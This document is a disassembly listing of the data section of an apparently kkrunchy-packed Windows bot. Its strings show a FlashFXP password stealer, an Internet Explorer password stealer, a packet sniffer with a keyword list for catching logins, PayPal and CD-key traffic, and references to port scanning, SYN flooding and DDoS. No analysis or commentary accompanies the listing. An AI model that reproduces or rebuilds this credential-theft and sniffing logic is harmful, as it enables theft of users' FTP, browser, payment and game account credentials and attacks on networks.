		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_418494	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_40F9C9+164o
dword_4184A8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40F9C9+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_4184F0	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_40FBA7+15Fo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40FD22+15o
					; sub_40FD22+73o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+DAo
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+9Co
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_40FDB3+91o
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_40FDB3+6Co
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_40FDB3+55o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_40FDB3+15o
		align 4
unk_4185E4	db  2Dh	; -		; DATA XREF: sub_40FEB8+2D3o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_418620	dd 2343003h, 2037525h	; DATA XREF: sub_40FEB8+27Ao
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+219o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+202o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+1EBo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+1D4o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41868C	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_40FEB8+1A7o
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+130o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+122o
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+114o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+107o
		db 'IP=',0
		align 4
asc_4186B8	db 0Dh,0Ah		; DATA XREF: sub_40FEB8:loc_40FFB4o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_4186C0	db  2Dh	; -		; DATA XREF: sub_40FEB8+5Co
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_4101AE+21o
		align 4
unk_418704	db  2Dh	; -		; DATA XREF: sub_4101E6+718o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_418740	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_4101E6+688o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41879C	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_4101E6+5F2o
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_4187E4	dd 70747468h, 2F3A73h	; DATA XREF: sub_4101E6+5B0o
dword_4187EC	dd 70747468h, 2F3Ah	; DATA XREF: sub_4101E6+599o
dword_4187F4	dd 7274533Ah, 676E69h	; DATA XREF: sub_4101E6+554o
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_4101E6+53Fo
aE161255a	db 'e161255a',0         ; DATA XREF: sub_4101E6+525o
		align 4
dword_418814	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_4101E6+4FEo
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_418854	dd 2Ch			; DATA XREF: sub_4101E6+442o
					; sub_4101E6+619o
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_4101E6+3B7o
		align 4
dword_418864	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_4101E6+3A3o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_4101E6+310o
		align 4
dword_4188C8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_4101E6+2FCo
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_4101E6+2CEo
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_4101E6+1FAo
asc_418918	db '%x',0               ; DATA XREF: sub_4101E6+117o
		align 4
unk_41891C	db  2Dh	; -		; DATA XREF: sub_4101E6+B0o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_418950	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_4101E6+85o
					; sub_4101E6+154o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_41094B+2Ao
		align 4
dword_418984	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_410999+180o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_410999+EFo
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_410999+BFo
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_410999+91o
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_410999+77o
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_410999+59o
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_410B3B+21o
		align 4
off_418AB4	dd offset aUser_1	; DATA XREF: sub_410BC3+2Do
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_418B10	dd offset aLogin_0	; DATA XREF: sub_410BC3+45o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		align 10h
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		align 8
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_418B84	dd offset aSetCookie	; DATA XREF: sub_410BC3+5Do
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_418BC8	dd offset dword_418C24	; DATA XREF: sub_410BC3+75o
		align 10h
		dd offset dword_418C1C
		align 8
		dd offset dword_418C14
		align 10h
		dd offset dword_418C0C
		align 8
		dd offset dword_418C04
		align 10h
		dd offset dword_418BFC
		dd 2 dup(0)
dword_418BFC	dd 54495551h, 20h	; DATA XREF: kkrunchy:00418BF0o
dword_418C04	dd 54524150h, 20h	; DATA XREF: kkrunchy:00418BE8o
dword_418C0C	dd 4E494F4Ah, 20h	; DATA XREF: kkrunchy:00418BE0o
dword_418C14	dd 49504F54h, 2043h	; DATA XREF: kkrunchy:00418BD8o
dword_418C1C	dd 49544F4Eh, 204543h	; DATA XREF: kkrunchy:00418BD0o
dword_418C24	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	kkrunchy:off_418BC8o
aDdos		db 'ddos',0             ; DATA XREF: kkrunchy:00418BBCo
		align 4
aServu		db 'servu',0            ; DATA XREF: kkrunchy:00418BB4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: kkrunchy:00418BACo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: kkrunchy:00418BA4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: kkrunchy:00418B9Co
		align 4
aFlood		db 'flood ',0           ; DATA XREF: kkrunchy:00418B94o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: kkrunchy:00418B8Co
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: kkrunchy:off_418B84o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: kkrunchy:00418B78o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: kkrunchy:00418B70o
aLP		db 'l/p',0              ; DATA XREF: kkrunchy:00418B68o
aIrcOperator	db 'irc operator',0     ; DATA XREF: kkrunchy:00418B60o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: kkrunchy:00418B58o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: kkrunchy:00418B50o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: kkrunchy:00418B40o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: kkrunchy:00418B38o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: kkrunchy:00418B30o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: kkrunchy:00418B28o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: kkrunchy:00418B20o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: kkrunchy:00418B18o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: kkrunchy:off_418B10o
		align 4
aPw		db 'pw=',0              ; DATA XREF: kkrunchy:00418B04o
aPass_1		db 'pass=',0            ; DATA XREF: kkrunchy:00418AFCo
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: kkrunchy:00418AF4o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: kkrunchy:00418AECo
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: kkrunchy:00418AE4o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: kkrunchy:00418ADCo
aAuth_0		db ' :auth ',0          ; DATA XREF: kkrunchy:00418AD4o
aIdentify	db 'identify ',0        ; DATA XREF: kkrunchy:00418ACCo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: kkrunchy:00418AC4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: kkrunchy:00418AC0o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: kkrunchy:00418ABCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: kkrunchy:00418AB8o
		align 4
aUser_1		db 'user ',0            ; DATA XREF: kkrunchy:off_418AB4o
		align 10h
dword_418D60	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_410C55+379o
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_418D94	db  2Dh	; -		; DATA XREF: sub_410C55+FBo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_418DC8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_4110B4+6Fo
		dd 6E732074h, 65666669h, 72h, 418DECh, 97F7A1AEh, 87CA88FBh
		dd 0E18DA597h, 2 dup(0)
dword_418E00	dd 0CD9F82A3h		; DATA XREF: sub_407A76+53Er
					; kkrunchy:0041123Cr ...
dword_418E04	dd 0D4EE5D68h		; DATA XREF: kkrunchy:00411235r
dword_418E08	dd 1FC7575Bh		; DATA XREF: kkrunchy:0041122Ar
dword_418E0C	dd 139AB344h		; DATA XREF: kkrunchy:00411224r
		dd 7265h, 0
off_418E18	dd offset dword_4190E0	; DATA XREF: sub_40A236+108r
					; sub_40A236+110o ...
		align 10h
off_418E20	dd offset dword_417D18	; DATA XREF: sub_407A76+4EEr
					; sub_4091AD+51r ...
off_418E24	dd offset dword_417D0C	; DATA XREF: sub_4091AD+85r
off_418E28	dd offset dword_417D04	; DATA XREF: sub_4091AD+96r
		dd offset dword_417CF0
		dd offset dword_417CE4
		dd offset dword_417D04
		dd 3 dup(0)
dword_418E44	dd 0C4A7F1E1h, 81D9EAh,	0 ; DATA XREF: sub_409277+126o
					; sub_409918+27Bo
dword_418E50	dd 656E2323h, 23736472h, 23h, 1Dh dup(0) ; DATA	XREF: sub_40287C+109o
					; sub_406BBC+59o ...
byte_418ED0	db 0FDh			; DATA XREF: sub_409277+23Er
					; sub_409277+24Do
		db 0EDh, 0EBh, 8Eh
		dd 99CC83A5h, 0F59BB8DCh, 83A7h, 1Ch dup(0)
byte_418F50	db 0			; DATA XREF: sub_409277+261r
					; sub_409277+26Fo
		align 4
		dd 1Fh dup(0)
dword_418FD0	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_407A76:loc_408CDDo
					; sub_409918+206o
dword_418FDC	dd 98FAABA9h, 0D98CD5B9h, 93A6DDh, 3Eh dup(0) ;	DATA XREF: sub_404D00+33o
					; sub_404DAD+32o
dword_4190E0	dd 0BBB2EFF4h, 93CC83BBh, 0E999E4CAh, 8BC58EF6h, 0ABB8h
					; DATA XREF: kkrunchy:off_418E18o
		dd 0
dword_4190F8	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: kkrunchy:0041149Bo
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: kkrunchy:00411474o
		align 10h
aLoop		db 'loop',0             ; DATA XREF: kkrunchy:loc_411440o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: kkrunchy:004113E5o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: kkrunchy:00411242o
		align 10h
dword_419170	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_4117FE+15o
off_419180	dd offset off_4122CC	; DATA XREF: kkrunchy:off_4122D0o
					; kkrunchy:0041230Co ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_4191A0	dd offset off_4122CC	; DATA XREF: kkrunchy:off_412318o
					; kkrunchy:00412354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_4191B8	dd 0			; DATA XREF: sub_401534:loc_401548r
					; sub_401621+143w
dword_4191BC	dd 0			; DATA XREF: sub_401534:loc_401555r
					; sub_401621+14Bw ...
dword_4191C0	dd 0			; DATA XREF: sub_401534:loc_401562r
					; sub_401621+ACo ...
dword_4191C4	dd 0			; DATA XREF: sub_401534r
					; sub_401621+13Bw ...
		dd 0
dword_4191CC	dd 0			; DATA XREF: sub_401571+35r
					; sub_401571+50r ...
byte_4191D0	db 0			; DATA XREF: sub_401621+10Bo
					; sub_402230+3Br ...
		align 8
dword_4191D8	dd 0			; DATA XREF: sub_40287C+1Dr
					; sub_40392A:loc_40393Cr ...
dword_4191DC	dd 0			; DATA XREF: sub_40287C+Eo
dword_4191E0	dd 77E7C706h		; DATA XREF: sub_402D7B+21w
					; sub_4071D2+Fr
		align 8
dword_4191E8	dd 71C245E0h		; DATA XREF: sub_402D7B+42w
dword_4191EC	dd 71C243F6h		; DATA XREF: sub_402D7B+4Fw
dword_4191F0	dd 71C59904h		; DATA XREF: sub_402D7B+5Cw
dword_4191F4	dd 71C453F8h		; DATA XREF: sub_402D7B+69w
dword_4191F8	dd 71C2FA86h		; DATA XREF: sub_402D7B+76w
dword_4191FC	dd 71C574FAh		; DATA XREF: sub_402D7B+83w
dword_419200	dd 71C214BAh		; DATA XREF: sub_402D7B+90w
dword_419204	dd 71C4A1B4h		; DATA XREF: sub_402D7B+9Dw
dword_419208	dd 71C59530h		; DATA XREF: sub_402D7B+A4w
dword_41920C	dd 71B2ACCBh		; DATA XREF: sub_402D7B+C4w
					; sub_40CEBE+12r ...
dword_419210	dd 71B22C25h		; DATA XREF: sub_402D7B+D1w
dword_419214	dd 71B2A381h		; DATA XREF: sub_402D7B+DEw
					; sub_40CEBE+1Er ...
dword_419218	dd 71B28D0Dh		; DATA XREF: sub_402D7B+E5w
dword_41921C	dd 7622A3F4h		; DATA XREF: sub_402D7B+17Aw
					; sub_40656A+D3r
dword_419220	dd 5E0C4E7Dh		; DATA XREF: sub_402D7B+162w
					; sub_4101E6+41r ...
dword_419224	dd 71AB33DFh		; DATA XREF: sub_402D7B+101w
					; sub_402D7B+115r ...
dword_419228	dd 71ABC076h		; DATA XREF: sub_401B81+9Ar
					; sub_402D7B+10Ew ...
dword_41922C	dd 71AB3A2Ch		; DATA XREF: sub_402D7B+11Cw
					; sub_402D7B+145w ...
		dd 101h	dup(0)
dword_419634	dd 0			; DATA XREF: sub_403338r
					; sub_403338+1Bo
dword_419638	dd 0			; DATA XREF: sub_403338+Fo
					; sub_403338:loc_403360r
		align 10h
dword_419640	dd 76BF1C22h		; DATA XREF: sub_4045B7+40w
					; sub_4045B7+63r ...
dword_419644	dd 76BF1D54h		; DATA XREF: sub_4045B7+4Dw
					; sub_4045B7+6Cr ...
dword_419648	dd 76BF1E6Ch		; DATA XREF: sub_4045B7+5Bw
					; sub_404639+150r
dword_41964C	dd 76BF32DDh		; DATA XREF: sub_4045B7+33w
					; sub_4045B7+54r ...
dword_419650	dd 14AE70h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_4045B7+1o
					; sub_404639+Co ...
byte_41966C	db 1			; DATA XREF: sub_4045B7+79w
					; sub_404639+16r
		align 10h
dword_419670	dd 0			; DATA XREF: sub_406A40:loc_406AB0w
					; sub_406B29:loc_406B90r
		align 8
dword_419678	dd 14AE98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_406B98+16o
					; sub_406D58+7o ...
dword_419690	dd 0			; DATA XREF: sub_406B98w
					; sub_406D58+11r ...
		align 8
dword_419698	dd 323A00h		; DATA XREF: sub_406B98+11w
					; sub_406D58:loc_406D83r ...
dword_41969C	dd 0			; DATA XREF: sub_407237+6r
					; sub_4072FC+60w ...
dword_4196A0	dd 0			; DATA XREF: sub_4072FC+42w
					; sub_4072FC+65r ...
dword_4196A4	dd 0			; DATA XREF: sub_407237+A9r
					; sub_4072FC+7Fw ...
dword_4196A8	dd 0			; DATA XREF: sub_407237+80r
					; sub_4072FC+72w ...
		align 10h
byte_4196B0	db 0			; DATA XREF: sub_4072FC+2Dr
					; sub_4072FC+84w
		align 4
		dd 101h	dup(0)
byte_419AB8	db 0			; DATA XREF: sub_4091AD+Bo
					; sub_409277+27r ...
		align 4
		dd 5Fh dup(0)
dword_419C38	dd 40h dup(0)		; DATA XREF: sub_4091AD+15o
					; sub_4091AD+7Bo ...
dword_419D38	dd 3 dup(0)		; DATA XREF: sub_4091AD:loc_4091DDo
					; sub_4091AD+8Bo ...
dword_419D44	dd 0			; DATA XREF: sub_4091A7r
					; sub_409522+15r ...
		dd 0
dword_419D4C	dd 0			; DATA XREF: sub_40A236+47w
byte_419D50	db 0			; DATA XREF: sub_40A42C+6o
					; sub_40A42C+15w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_419E54	db 0B7h			; DATA XREF: sub_40A606+22o
					; sub_40A606+2Fo ...
		db 0B3h, 18h, 0DFh
		dd 0BB8FB9BAh, 81FF2B72h, 89522048h, 0
dword_419E68	dd 0A365C9E9h, 0BB2999FFh, 59ABC127h, 9107155Dh, 0
					; DATA XREF: sub_40A67C+24o
					; sub_40A67C+31o ...
dword_419E7C	dd 8512E753h		; DATA XREF: sub_40B31E+24o
					; sub_40B380+5w ...
dword_419E80	dd 8C1028C2h		; DATA XREF: sub_40B31E+30o
					; sub_40B380+Fw ...
dword_419E84	dd 8B498905h		; DATA XREF: sub_40B31E+3Co
					; sub_40B380+19w ...
dword_419E88	dd 0B540BC3Fh		; DATA XREF: sub_40B31E+48o
					; sub_40B380+23w ...
		align 10h
byte_419E90	db 0DEh			; DATA XREF: sub_40B55F+24o
					; sub_40B55F+31o ...
		db 0CEh, 98h, 0FBh
		dd 0F7BEE6D5h, 86FFCAB9h, 0E2A9A084h, 2	dup(0)
dword_419EA8	dd 2 dup(0)		; DATA XREF: sub_40D6E0+448o
dword_419EB0	dd 0			; DATA XREF: sub_40DE9A+308o
dword_419EB4	dd 2 dup(0)		; DATA XREF: sub_40DE9A+31Ao
dword_419EBC	dd 0			; DATA XREF: sub_40E523+Er
					; sub_40E523+1Fw
dword_419EC0	dd 0			; DATA XREF: sub_40E523:loc_40E5A8w
					; sub_40E523:loc_40E5AEr
dword_419EC4	dd 2 dup(0)		; DATA XREF: sub_40E8DBo
					; sub_40E951+78o
dword_419ECC	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_4050D1+12Do
					; sub_4052DF:loc_405383o ...
dword_419FD0	dd 59B170A4h		; DATA XREF: sub_407A76+530r
					; kkrunchy:004112E3w
dword_419FD4	dd 0CE102C2Dh		; DATA XREF: kkrunchy:004112EDw
dword_419FD8	dd 0AA0D96EBh		; DATA XREF: kkrunchy:004112F7w
dword_419FDC	dd 82B3E8CDh		; DATA XREF: kkrunchy:00411301w
dword_419FE0	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_407A76+779o
					; sub_407A76+78Do ...
dword_41A0E8	dd 40h dup(0)		; DATA XREF: sub_407A76+A1Fo
					; sub_409277+26Ao ...
byte_41A1E8	db 0			; DATA XREF: sub_409277+E2r
					; sub_409277+EBo ...
		align 4
		dd 1Fh dup(0)
byte_41A268	db 0			; DATA XREF: sub_402EFD+E4r
					; sub_402EFD+F0o ...
		align 4
		dd 1Fh dup(0)
dword_41A2E8	dd 40h dup(0)		; DATA XREF: sub_4032D2+34o
					; sub_403EA9+50Co ...
byte_41A3E8	db 0			; DATA XREF: sub_407A76+1125o
					; sub_409277+7Fr ...
		align 4
		dd 3A7Fh dup(0)
		db 2 dup(0)
kkrunchy	ends


		end start